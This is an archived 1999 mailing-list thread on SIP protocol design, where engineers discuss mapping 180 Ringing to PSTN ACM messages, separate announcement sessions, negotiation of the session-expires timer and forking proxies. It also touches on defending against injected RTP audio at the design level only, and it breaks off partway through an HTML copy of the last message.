> a) Simple, and deals(I think :) with security issues.
> b) Helps PSTN interworking, which is the problem mentioned here.
> 
> Cons :
> 
> a) What happens if you received 180 Ringing from more than one
> destination if the INVITE is forked ? Again, I dont think this is any
> different from receiving a 200 from multiple destinations.
> b) You need a Require header, so one would need an extra RTT for callees
> who dont support the extension. Arguably, this could be avoided by
> caching or configuration on the caller.(ie the caller "knows" that it is
> calling a PSTN gateway that will likely support it).
> 
> Clearly, this is not as powerful as your suggestion. Some comments below
> :
> 
> > Now, to establish media encryption for the tones, you must establish a
> > security relationship with the "network" element that is generating the
> > tone. So, I would say what we need is to separate the original session
> > and the "announcement" session as two totally separate SIP sessions. The
> > announcement session would be explicitly set up from the network
> > announcement element to the gateway. In this case, your call flow looks
> > like:
> >
> >  PSTN            GW      User B    Announcement player
> >  --------------------------
> >  IAM-------->
> >                  INVITE---->
> >                  <-------100
> >                  <-------180
> >  <--------ACM
> >
> >                  <--------INVITE--------
> >                  ------200 OK---------->
> >
> >  <------------ANNOUNCEMENT---------------->
> >
> >                  <----BYE---------------
> >                  -----200 OK----------->
> >
> >                  <--------200
> >
> > The gateway would make sure the announcement session is authenticated,
> > and only from some trusted set of parties which are allowed to play
> > announcements.
> > The advantage of having the announcements as a separate SIp session is
> > that you can set them up at any time. Consider a SIP payphone - halfway
> > through the call, the network needs to tell me to insert another 50
> > cents. This is nearly impossible to do securely without establishing a
> > separate session for the announcement. It also means the announcements
> > and actual session can have different media compositions, and that we
> > can apply SIP services to them for all kinds of potentially neat
> > services (transfer the announcements to some multicast musak on hold or
> > something).
> 
> This is a very good point. It also re-underlines the issues for and
> against an intermediary in the network having control over the data
> stream.
> 
> Here's a thought : The intermediary can send tone/announcement data
> packets to the callers RTP port. The only thing we need is for the
> caller to expect data from a different source address/port pair(and that
> source only). If we had a way to signal that, things should work out.
> This should be possible if the call signalling went through the
> intermediary in the first place(which it should). The intermediary could
> use a new method with the same Call-ID. Assuming that method is
> ANNOUNCE:
> 
> caller---> INVITE ----> P ----->INVITE callee
> ....
> caller<--- 200 OK <---- P <-----200 OK callee
> (data flowing to/from caller<-->callee)
> 
> caller<---ANNOUNCE--- P
> caller---->OK-------->P
> caller<---announcement data --- P
> Presumably the caller inserts the extra 0.01 cents(since calling is now
> almost free :)
> caller<--- END_ANNOUNCE---P
> 
> (data flowing to/from caller<-->callee)
> 
> > This also solves your problem. Since the media for the announcement is
> > separate from the actual convesation, the gateway will know whether to
> > pass it back or not.
> >
> > The cost - additional complexity, and an extra RTT before you can play
> > the announcement.
> 
> The complexity could be quite high. An additional port pair, and some
> multiplexing/mixing if the tone/voice are actually sent over to the
> PSTN. Yes, it is a tradeoff between features and complexity, but
> doubling the port requirements per call seems excessive to me.
> 
> -Anup.

From confctrl-owner  Thu Feb 18 18:11:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA11803
	for confctrl-outgoing; Thu, 18 Feb 1999 18:11:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA11798
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 18:11:39 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA22740
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 18:11:37 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA09863;
	Thu, 18 Feb 1999 21:11:35 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA26341;
	Thu, 18 Feb 1999 21:11:34 -0500 (EST)
Message-ID: <36CCC856.241122D1@cs.columbia.edu>
Date: Thu, 18 Feb 1999 21:11:34 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Matt Cannon <matt.cannon@mci.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Unless you encrypt all audio streams (and the RTP header, naturally),
this DOS problem exists during 180 as well as "regular" calls. In either
case, a client can refuse packets from any source not in the SDP c=
description, as long as the receive port there is equal to the source
port of the voice packets. An attacker would now have to guess where
packets might be coming from, so it has to have access to the GW-client
network path, which seems far less likely.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Feb 18 20:44:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA18329
	for confctrl-outgoing; Thu, 18 Feb 1999 20:44:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA18324
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 20:44:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA03008
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 20:44:03 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb 18 23:43:28 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.82])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA20630;
	Thu, 18 Feb 1999 23:43:25 -0500 (EST)
Message-ID: <36CCEBCB.9BE3AFF0@dnrc.bell-labs.com>
Date: Thu, 18 Feb 1999 23:42:51 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: Lars Berggren <lars.berggren@intertex.se>,
        Conference Control List <confctrl@ISI.EDU>
Subject: Re: Negotiation of session-expires refresh timer
References: <CA6966C24AC6D111B5A100805FEAB7D857742C@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. (MCI) wrote:
> 
>      I think the best solution is that the UAC which is capable of
>      using the
>      session-expires should always insert it in the message, with any
>      initial
>      value it likes, or inifinity if it doesn't personally want to
>      refresh. A
>      proxy or UAS can modify the value if its there. If its not there,
>      this
>      means the UAC is unable or unwilling to refresh, so returning an
>      error
>      does not good anyway.
> 
>      I agree, however, there needs to be a method for the proxy server
>      to understand whether or not the UAC will be doing refreshes.
>      This can be achieved by the UAC including the final "negotiated"
>      session-expires header in the ACK to the 200 OK.  A UAC that
>      cannot, or chooses not to, send refresh INVITEs would not include
>      a session-expires header in the ACK message.  It would be up to
>      the proxy server to decide what to do if the UAC does not include
>      the session-expires header.

My mechanism for determining whether the UAC will do refreshes was
whether it included the Session-Expires header in the request in the
first place. This indicates that the UAC *is* willing to do them. If it
is not, or cannot, it doesn't put the header in the request message.

Your approach has the benefit that there is another decision round
possible. The UAC can decide to add the Session-Expires to the request,
and then the response comes back with a refresh value that is
unacceptable to the UAC (too low, perhaps). The UAC can then refuse it
by not putting the Session-Expires in the ACK.

A potential problem with the approach is with forking proxies:


A---->B---->C--->F
      |     ^
      |     |
      \/    |
       D--->E

A is the UAC, F the UAS. B,C,D,E proxies. B forks. Now, F sends a 200 OK
in response to both the A-B-D-E-C-F and A-B-C-F request. The latter
arrives first at A. All proxies are adding record routes and want
refreshes. Now, the ACK is sent along A-B-C-F, so D and E never see an
ACK. They should actually time out call state (they will time out SIP
transaction state). But, they are waiting for the timeout from the ACK,
not the response, which they never get. So, how do D and E determine how
long to wait before deciding that an ACK will never come? I guess they
could extract the timer from the response, and then if an ACK comes, use
the timer there instead. Seems a bit complex for little gained.

By having the final timer value be the one in the response, behavior is
consistent and straightforward.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 18 20:50:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA18579
	for confctrl-outgoing; Thu, 18 Feb 1999 20:50:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA18574
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 20:50:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA03379
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 20:50:04 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb 18 23:49:27 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.82])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA20674;
	Thu, 18 Feb 1999 23:49:25 -0500 (EST)
Message-ID: <36CCED32.C9E5A193@dnrc.bell-labs.com>
Date: Thu, 18 Feb 1999 23:48:50 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@mci.com>
CC: Conference Control List <confctrl@ISI.EDU>,
        Lars Berggren <lars.berggren@intertex.se>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
Subject: Re: Negotiation of session-expires refresh timer
References: <19990218225028.SSOG27406@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
> >But, if the UAC doesn't understand the session timer, the UAC gets the
> >400 response, tries again (without the timer header, of course), which
> >generates another 400 response, and so on.
> 
> The SIP spec states for 4xx responses that "The client SHOULD NOT retry
> the same request without modification..."  It seems to me UACs should
> have a minimum requirement to understand _all_ 4xx responses for the
> supported SIP version, whether or not they can support the appropriate
> modified re-try request, or if they don't understand the 4xx response,
> don't retry the Invite.

I don't think clients should be required to understand all 4xx responses
- thats the point of having a hierarchical error namespace.

You are correct, though (thanks for the info) that they won't retry the
request. But, this means no call gets made. This means that these
forceful proxies will not complete any calls for
non-expiration-supporting clients - seems bad for business...

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 18 21:04:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA19202
	for confctrl-outgoing; Thu, 18 Feb 1999 21:04:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA19197
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 21:04:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA04539
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 21:04:04 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Feb 19 00:03:32 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.82])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA20749;
	Fri, 19 Feb 1999 00:03:30 -0500 (EST)
Message-ID: <36CCF07F.89787F2D@dnrc.bell-labs.com>
Date: Fri, 19 Feb 1999 00:02:55 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM> <36CCC856.241122D1@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This reduces the likelihood of attack, but is still not using real
crypto do it.

The other problem with this solution is that it eliminates the
possibility of RTP terminal mobility, where the source IP address/port
may change.

-Jonathan R.

Henning Schulzrinne wrote:
> 
> Unless you encrypt all audio streams (and the RTP header, naturally),
> this DOS problem exists during 180 as well as "regular" calls. In either
> case, a client can refuse packets from any source not in the SDP c=
> description, as long as the receive port there is equal to the source
> port of the voice packets. An attacker would now have to guess where
> packets might be coming from, so it has to have access to the GW-client
> network path, which seems far less likely.
> --
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 18 21:48:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA21107
	for confctrl-outgoing; Thu, 18 Feb 1999 21:48:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA21101
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 21:48:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA07955
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 21:48:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Feb 19 00:47:17 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.82])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA21030;
	Fri, 19 Feb 1999 00:47:14 -0500 (EST)
Message-ID: <36CCFABC.9D0397E5@dnrc.bell-labs.com>
Date: Fri, 19 Feb 1999 00:46:36 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Matt Cannon <matt.cannon@mci.com>
CC: Confctrl <confctrl@ISI.EDU>, jdrosen@dnrc.bell-labs.com
Subject: Re: 180 to ACM Mapping
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Matt Cannon wrote:
> 
> 
> MJC=> I agree with the concept that most media streams
> will need encryption, but I am not sure the announcement
> player concept fixes the problem. Apply the above
> flow to the need for originating user to hear ringing.
> If User B is not the actual entity generating the ringing,
> but rather is expecting the originating UAC( the Gateway)
> to provide the tone, when the 180 is received at the GW,
> does GW provide tone or wait for the Invite from the
> announcement player? Somehow the gateway will need to
> understand that in this case the 180 really doesn't mean
> ringing but rather wait for the announcement player.

Good point. I think there are a number of separable problems here:

1. How to handle, at a UAC, multiple 180's and/or announcement INVITE's.

2. In the phone network, ringback is sent from the remote party through
the backwards voice path, in addition to there being an ACM message. In
the IP world, the ACM equivalent (180) serves as the signaling message
and as a means to generate ringback. This inconsistency is what is
really causing the problem.

To handle problem (1), the terminating gateway or IP device should
either send a 180, or use this reverse INVITE procedure, but never both,
to avoid the problem.

To handle problem (2), a terminating gateway should probably only use
the reverse-INVITE path procedure. The reverse-path INVITE itself can
trigger an ACM if the calling side is a gateway, since it is effectively
an indication of a ringing. So, the procedure would be like this. When
an INVITE arrives at a terminating gateway, it sends an IAM to the PSTN.
When an ACM arrives, it sets up a reverse path using an INVITE for
announcements. The reception of the INVITE at the calling gateway
triggers an ACM, and if the calling side is not a gateway, no ACM is
sent, of course. The terminating gateway sends anything from the PSTN
over this backwards path. When the call is accepted, the terminating
gateway sends a 200 OK, tears down the reverse path with a BYE, and
sends everything over the normal channel when the ACK arrives. This
approach has the advantage that announcements from the PSTN are
preserved, whereas if it uses the send-180 approach, these tones are
lost. This is anyway not a big deal 99% of the time, I would guess.

When the terminating device is not a gateway, it can either send a 180
as currently specified, or follow the same procedure described above.

Anup's suggestion to put SDP in the 180, but have it be secured I think
still has some problems. First, you can't do the post-setup
announcements. A general solution that does both would seem preferable.
Second, I think there might be cases where the caller is going to get
confused about who is sending what audio when there are multiple 180
responses. This is because it all comes to the same UDP port at the
caller. So, when audio arrives at that port, who is it from? You need to
know in order to decrypt, interpret PTI numbers, etc. This is *not* a
problem for multiple 200 responses, since the ACK contains an updated
SDP, probably with a new port for each callee being ACK'ed. The callee
is not supposed to send audio until the ACK arrives, so there is no
confusion.

In general, I prefer being explicit about what is going on. Putting SDP
into the 180 is trying to set up multiple SIP sessions when there is
really only one.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Feb 19 06:46:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11232
	for confctrl-outgoing; Fri, 19 Feb 1999 06:46:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11227
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 06:46:25 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA29584
	for <confctrl@isi.edu>; Fri, 19 Feb 1999 06:46:24 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Feb 19 09:44:53 EST 1999
Received: from delaware.dnrc.bell-labs.com (delaware.dnrc.bell-labs.com [135.180.240.27])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id JAA24679;
	Fri, 19 Feb 1999 09:44:52 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by delaware.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id JAA11316; Fri, 19 Feb 1999 09:45:12 -0500 (EST)
Message-ID: <36CD78F8.54C4CD32@cs.columbia.edu>
Date: Fri, 19 Feb 1999 09:45:12 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.6 sun4u)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM> <36CCC856.241122D1@cs.columbia.edu> <36CCF07F.89787F2D@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> This reduces the likelihood of attack, but is still not using real
> crypto do it.
> 
> The other problem with this solution is that it eliminates the
> possibility of RTP terminal mobility, where the source IP address/port
> may change.

I should have qualified this statement: a receiver should take packets
from a valid IP address, identified in the SDP c= item *or* a known
SSRC. The latter rule allows mobility (except where the sender moves
before ever sending anything), but still prevents attack by third-party
audio packets.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Feb 19 06:58:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11661
	for confctrl-outgoing; Fri, 19 Feb 1999 06:58:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11656
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 06:58:35 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA00179
	for <confctrl@isi.edu>; Fri, 19 Feb 1999 06:58:34 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id OAA05760; Fri, 19 Feb 1999 14:54:59 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <15QLHN3J>; Fri, 19 Feb 1999 14:57:53 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D857742D@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>
Cc: Lars Berggren <lars.berggren@intertex.se>,
        Conference Control List
	 <confctrl@ISI.EDU>
Subject: RE: Negotiation of session-expires refresh timer
Date: Fri, 19 Feb 1999 14:57:51 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE5C18.39678F32"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE5C18.39678F32
Content-Type: text/plain;
	charset="iso-8859-1"



> -----Original Message-----
> From:	Jonathan Rosenberg [SMTP:jdrosen@dnrc.bell-labs.com]
> Sent:	Thursday, February 18, 1999 10:43 PM
> To:	Donovan, Steven R. (MCI)
> Cc:	Lars Berggren; Conference Control List
> Subject:	Re: Negotiation of session-expires refresh timer
> 
> > Donovan, Steven R. (MCI) wrote:
> > 
> >      I think the best solution is that the UAC which is capable of
> >      using the
> >      session-expires should always insert it in the message, with any
> >      initial
> >      value it likes, or inifinity if it doesn't personally want to
> >      refresh. A
> >      proxy or UAS can modify the value if its there. If its not there,
> >      this
> >      means the UAC is unable or unwilling to refresh, so returning an
> >      error
> >      does not good anyway.
> > 
> >      I agree, however, there needs to be a method for the proxy server
> >      to understand whether or not the UAC will be doing refreshes.
> >      This can be achieved by the UAC including the final "negotiated"
> >      session-expires header in the ACK to the 200 OK.  A UAC that
> >      cannot, or chooses not to, send refresh INVITEs would not include
> >      a session-expires header in the ACK message.  It would be up to
> >      the proxy server to decide what to do if the UAC does not include
> >      the session-expires header.
> 
> My mechanism for determining whether the UAC will do refreshes was
> whether it included the Session-Expires header in the request in the
> first place. This indicates that the UAC *is* willing to do them. If it
> is not, or cannot, it doesn't put the header in the request message.
> 
> Your approach has the benefit that there is another decision round
> possible. The UAC can decide to add the Session-Expires to the request,
> and then the response comes back with a refresh value that is
> unacceptable to the UAC (too low, perhaps). The UAC can then refuse it
> by not putting the Session-Expires in the ACK.
> 
> A potential problem with the approach is with forking proxies:
> 
> 
> A---->B---->C--->F
>       |     ^
>       |     |
>       \/    |
>        D--->E
> 
> A is the UAC, F the UAS. B,C,D,E proxies. B forks. Now, F sends a 200 OK
> in response to both the A-B-D-E-C-F and A-B-C-F request. The latter
> arrives first at A. All proxies are adding record routes and want
> refreshes. Now, the ACK is sent along A-B-C-F, so D and E never see an
> ACK. They should actually time out call state (they will time out SIP
> transaction state). But, they are waiting for the timeout from the ACK,
> not the response, which they never get. So, how do D and E determine how
> long to wait before deciding that an ACK will never come? I guess they
> could extract the timer from the response, and then if an ACK comes, use
> the timer there instead. Seems a bit complex for little gained.
> 
> By having the final timer value be the one in the response, behavior is
> consistent and straightforward.
> 
	SRD> Jonathan, I'm a little confused.  The session-expires timer
does not apply to session control signaling.  It only applies after the
session has been successfully setup.  The above scenario appears to be a
general problem for forking proxy scenarios.  What happens depends on the
behavior of B, the forking proxy.  If it sends a CANCEL to the second 200 OK
then there will be no problem.  If it doesn't, then the originating user
agent will need to handle the multiple 200 OKs.  The SIP spec implies that
an ACK is sent for the subsequent 200 OKs.  The Record-Route behavior should
force the ACK to get delivered to D and E.

	SRD> Or am I missing something?

> -Jonathan R.
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

------_=_NextPart_001_01BE5C18.39678F32
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Negotiation of session-expires refresh timer</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Jonathan Rosenberg =
[SMTP:jdrosen@dnrc.bell-labs.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Thursday, February 18, 1999 10:43 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Donovan, Steven R. (MCI)</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Lars Berggren; Conference Control List</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: Negotiation of session-expires =
refresh timer</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Donovan, =
Steven R. (MCI) wrote:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I think the best solution is =
that the UAC which is capable of</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; using the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session-expires should always =
insert it in the message, with any</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; initial</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value it likes, or inifinity if =
it doesn't personally want to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; refresh. A</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; proxy or UAS can modify the =
value if its there. If its not there,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; means the UAC is unable or =
unwilling to refresh, so returning an</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
